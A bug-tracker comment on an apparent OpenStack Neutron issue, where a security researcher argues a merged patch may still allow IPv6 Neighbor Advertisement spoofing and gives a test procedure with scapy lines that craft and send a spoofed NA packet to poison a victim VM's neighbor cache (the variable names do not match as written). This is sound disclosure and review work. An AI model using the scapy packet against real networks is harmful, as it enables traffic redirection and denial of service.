Comment 17 for bug 1902917

I want to first thank everyone involved.

Regarding credits, please mention “Gandi.net” as my employee (for which I am reporting this and auditing spoofing possibilities in the first place).

Regarding Slawek Kaplonski's patch [1] that was merged in master, I am sorry I did not took time to review this further before, but I **think** there is still a potential security concern (DoS / redirection) for Neighbor Advertisements. I have not tested this using neutron so I cannot guaranty this be possible in a real deployment.

The scenario I think of would require 2 VMs : one “attacker”, one “victim” whose neighbor cache is to be poisoned (for a spoofed IP). The following is an attempt at providing a way to check for the vulnerability:

First, on attacker, add the IP to spoof. It must be unattributed to avoid races with legit owner and simplify testing.

Second, on the attacker, install scapy and start it (use `scapy` to have useful imports) and adapt then run the below lines, leaving the prompt opened for fourth step:

    spoofed_ipv6 = '' # FIXME non-ll (NOT fe80::), L2-reachable
    victim_ipv6 = '' # FIXME must be L2-reachable
    announced_mac = '' # FIXME attacker MAC

    ipv6 = IPv6(dst=victim_ipv6)
    icmpv6na = ICMPv6ND_NA(tgt=spoofed_ipv6)
    icmpv6_target_ll_addr = ICMPv6NDOptDstLLAddr(lladdr=announced_mac)
    spoofed_packet = Ether() / ip6 / icmp6na / icmpv6_target_ll_addr
    spoofed_packet.show() # not mandatory :-)

Third, on the victim, run a tcpdump (e.g. `tcpdump -nvve 'icmp6 && ip6[40] == 134'`) and while it runs, run a ping6 to the unattributed IPv6 to spoof (clear cache before if needed) and immediately continue to the next step.

Fourth, using the scapy prompt on the attacker, run (a few times by security, one should be enough but packet loss might occur):
    sendp(spoofed_packet)

Finally, check the victim tcpdump (it should be empty) and cache with e.g. `ip -6 n` (idem).

(I realize after having finished proofreading this that the same could likely be achieved through some kind of targeted IPv6 NAT for outgoing ICMPv6 packets on the attacker to avoid scapy completely.)

In the patch I had attached to this bug, I was using nd_target to rule this possible issue out but it can only be applied to Neighbor Advertisement packets (since other types do not have such value), hence the other changes I had done around NA management.

[1] https://review.opendev.org/c/openstack/neutron/+/776599